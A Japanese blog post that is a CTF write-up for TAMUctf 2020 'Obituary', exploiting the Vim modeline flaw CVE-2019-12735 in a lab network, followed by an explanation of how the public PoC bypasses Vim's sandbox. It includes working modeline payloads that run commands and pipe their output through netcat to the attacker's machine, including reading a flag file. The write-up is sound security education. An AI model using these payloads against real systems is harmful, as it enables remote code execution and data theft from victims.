Vim 8.1.1365以前に存在する脆弱性(CVE-2019-12735)を利用したArbitary Code Executionの実践(TAMUctf: Obituary)

<img width="851" alt="Screen Shot 2020-03-29 at 23.27.17.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/187190/2e40ec6d-3c33-8fcc-48e3-e194151c6528.png">

## (Writeup) 実践
### 問題環境(TAMUctf 2020: [Obituary](https://github.com/tamuctf/TAMUctf-2020/tree/master/NetworkPentest/obituary))
> Hey, shoot me over your latest version of the code. I have a simple nc session up, just pass it over when you're ready.
> You're using vim, right? You should use it; it'll change your life. I basically depend on it for everything these days!

> NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

### 攻撃シナリオを考える
Vimmerの人がnetcatのセッション経由で取得し(uploadされ)たファイルを確認する流れ。

攻撃対象がVimを使用しているだろうことしか情報がないので`Vim CVE`で検索すると
> allows remote attackers to execute arbitrary OS commands

と説明がある[CVE-2019-12735](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735)がヒットしたのでこれを利用できないかと考える。
[Proof of Concept](https://www.exploit-db.com/exploits/46973)もすぐ見つかった。
#### `CVE-2019-12735`脆弱性が存在するVimの利用を仮定し攻撃をするには
1. 対象のマシンでのVim起動対象に攻撃スクリプトを混入する。
2. 攻撃スクリプトの発火を確認する。
3. 任意のOSコマンドをRCEできる。

以上のステップを構想し、確認していく。
この問題環境では対象は全てをVimで行うVim信者のようなので、攻撃スクリプトを対象サーバーに配置できればVim経由で開いてくれるのではと予想できる。
ここまででは推測の域を出ないので一歩ずつこのシナリオが有効か確認していく。

#### ターゲットマシンIPの特定する
`TAMUctf`のnetwork_pentestでは外部ネットワークには繋がっていない、172.30.0.1/30へのVPNが問題ごとに配布されている。

```shell
$ nmap -n -sn 172.30.0.1-16
...
Nmap scan report for 172.30.0.2
Host is up (0.00049s latency).
...
Nmap scan report for 172.30.0.14
Host is up (0.00025s latency).
...
Nmap done: 16 IP addresses (2 hosts up) scanned in 2.09 seconds
```

同一LAN内に見つかったhostは二台のみ。172.30.0.14は自分のlocalマシンなので以上から対象マシンは172.30.0.2であることがわかる。

```shell
$ nmap -A 172.30.0.2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-02 15:22 JST
Nmap scan report for 172.30.0.2
Host is up (0.00030s latency).
...
PORT     STATE SERVICE VERSION
4321/tcp open  rwhois

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.36 seconds
```
対象マシンでは4321 portがtcpを待ち受けていることがわかる。これが`nc`サーバーと推察される。(Service名がrwhoisと判定されているが、ここは利用portから(誤)推定されている)

#### 想定シナリオの有効性を検証する
実際にこのシナリオが利用出来ることを確認するにはどうすれば良いか。確認方法は他にもあるだろうが、ここでは相手が`nc`を利用していると推測できるの`nc`で`CVE-2019-12735`脆弱性を利用したRemote Code Executionの実行結果をlocalのマシンに送り返してもらうことで確認する。


```sh:172.30.0.14(localマシン)
$ nc -l 4444
```

localの4444 portに`nc`サーバーを立て試しに`id`コマンドの結果を`nc`で送り返す攻撃スクリプトを用意。

```sh:cmd.txt(攻撃用スクリプト)
:!id | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```
攻撃対象(172.30.0.2)に攻撃用スクリプト(`cmd.txt`)を送ってみる。

```sh:172.30.0.14(localマシン)
$ nc 172.30.0.2 4321 < cmd.txt
```

数秒するとlocalマシンに`id`コマンドの出力と思われるものが返ってきた。

```sh:172.30.0.14(localマシン)
$ nc -l 4444
uid=1000(mwazowski) gid=1000(mwazowski) groups=1000(mwazowski)
```
指定した`id`コマンドの結果が送られてきたことで`mwazowski`ユーザーでOSコマンドがRCE出来ていることが確認できた。(攻撃シナリオ1. 2.)
ここで`:!`で指定するOSコマンドは`mwazowski`ユーザーが利用できるものなら何でも指定できることもわかる。(攻撃シナリオ3.)


#### 欲しい秘匿情報の取得(Obituary-1)
`mwazowski`ユーザーで任意のOSコマンドをRCEできることが分かったので、上記攻撃用スクリプトを書き換えることで好きに`~/`以下を探索できる。

```sh:cmd.txt(攻撃用スクリプト)
:!ls ~/ | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```

```sh:172.30.0.14(localマシン)
$ nc -l 4444
flag.txt (obtuary_1のフラグ)
manually_installed_packages.txt
note_to_self.txt
```

```sh:cmd.txt(攻撃用スクリプト)
:!cat ~/flag.txt | nc 172.30.0.14 4444 ||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```

```sh:172.30.0.14(localマシン)
$ nc -l 4444
gigem{ca7_1s7_t0_mak3_suRe}
```

と欲しかった秘匿情報(`flag.txt`)を読み出すことができた。
CTFのflagは軽い難読化(e->3, o->0など)が施された対象脆弱性に関連する警句であることが多く問題を解いた快感と共に読むのが少し楽しい。
今回は`ca7_1s7_t0_mak3_suRe` -> cat first to make sure。まず`cat`でファイルの内容を確認していればこの攻撃は避けられたと言うことであろう。

## 感想
報告されているCVEから環境に適したものを探し適用する問題の典型だった。PoCがワンライナーで利用できるものだったのでとてもやりやすかった。CTFは、どれもそうなのだが、実際に攻撃が確認できるまでは自分の中で建てたシナリオが有効か分からず、検証ステップを細かく刻めるかが実際に攻撃し切るには重要になる。この問題もこうやって振り返って整理するとstraightforwardなシナリオに見えるが、コンテスト中はVPN環境が不安定でそもそも対象マシンとやりとりができなかったり、相手の利用している`Vim`のversionが分からなかったり、uploadしたらどのくらいの時間で開いてくれるのだろうかと不安になったり、`rwhois`ってなんだろうと調べたりとそれなりに苦労した。
> NOTE: This challenge is two parts. Flag one belongs to mwazoski. Flag two belongs to root.

とあるようにこの問題はここまでが前半(Obituary-1)で、同様の環境で後半にLinux Privilege Escalationが出来る脆弱性が残っている(Obituary-2)。そして配点を見るとObituary-1自体が解けた人が意外と少ないおかげで配点が各400点ずつ残っているおいしい問題セットだった。(Obituary-1が解けてる人はほぼObituary-2も解けている)

実は[TAMUctf: my-first-blog](https://github.com/tamuctf/TAMUctf-2020/tree/master/NetworkPentest/my-first-blog)もLinux Privilege Escalationの問題でTAMUctfの期間中にLinux Privilege Escalationの勉強にまとまった時間を割けたのでそちらもWriteupを書こうと思っている。
-> (20200519 追記) 書きました。https://qiita.com/yto9/items/5da726ce87ced627fa92
<img width="899" alt="Screen Shot 2020-03-24 at 23.47.53.png" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/187190/8051339f-35a9-8a35-6449-413220b89df7.png">

## (おまけ) [CVE-2019-12735](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735)の[PoC](https://www.exploit-db.com/exploits/46973)を読む
このPoCは環境に応じて修正する必要がないのでPoC自体への理解はなくても利用できるのだが、せっかくなのでどのように脆弱性を突いているのかを見ていく。

> getchar.c in Vim before 8.1.1365 and Neovim before 0.3.6 allows remote attackers to execute arbitrary OS commands via the :source! command in a modeline, as demonstrated by execute in Vim, and assert_fails or nvim_input in Neovim. 

[CVE](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735)を見ると特定のversionのVim, Neovimでmodelineで`:source!`コマンドと`execute`,`assert_fails`,`nvim_input`を組み合わせることでArbitary Code Executionが可能と報告されている。

### [PoC](https://www.exploit-db.com/exploits/46973)から天下り的に何をやっているかを把握する
`modeline`からのコマンド実行と思われるような評価はセキュリティ上、`sandbox`で実行されるようになっている。
> For security reasons, only a subset of options is permitted in modelines, and
if the option value contains an expression, it is executed in a sandbox

だが、`:source! {file}` コマンドではfile内の文字列をコマンドとして評価し`sandbox`をbypassして実行できる。
> However, the `:source!` command (with the bang [`!`] modifier) can be used to
bypass the sandbox. It reads and executes commands from a given file as if
*typed manually*, running them after the sandbox has been left.

その`:source! {file}`を実行するためにCVEに記載されている、`execute`, `assert_fails`, `nvim_input`と言った関数を利用している。


### modelineのsyntaxから[PoC](https://www.exploit-db.com/exploits/46973)を評価順に見ていく

```vim:PoC
:!{実行したいコマンド}||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="
```

`modeline`のsyntaxは二種類ある。
> There are two forms of modelines. 
  The first form:
	[text]{white}{vi:|vim:|ex:}[white]{options}
> The second form (this is compatible with some versions of Vi):
	[text]{white}{vi:|vim:|Vim:|ex:}[white]se[t] {options}:[text]

各要素は

```text

[text]                  any text or empty
{white}	                at least one blank character (<Space> or <Tab>)
{vi:|vim:|Vim:|ex:}     the string "vi:", "vim:", "Vim:" or "ex:"
[white]                 optional white space
se[t]                   the string "set " or "se " (note the space); When "Vim" is used it must be "set".
{options}               a list of options, separated with white space, which is the argument for a ":set" command
:                       a colon
[text]                  any text or empty
```
上記のPoCに当てはめると
`text` :!{実行したいコマンド}||
`options` fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt=
とトークナイズされる。

`modeline`では`text`部分は無視され、`source! %`が評価される。(%はカレントファイルを指す)

`source! %` では`:!{実行したいコマンド}||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="`がコマンドとして実行される。

`:!`は外部プログラム実行なので`{実行したいコマンド}`がコマンドとして実行されることとなりArbitary Code Executionが実現される。
(`||`はそれ以前のコマンドのステータスコードが0(正常終了)以外の時のみ後続のコマンドを実行するので、{実行したいコマンド}を有効なOSコマンドにした場合は`||`以降は実行されない。)


## 参考
- CVE
  - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-12735
- PoC
  - https://www.exploit-db.com/exploits/46973
- TAMUctf 2020
  - https://github.com/tamuctf/TAMUctf-2020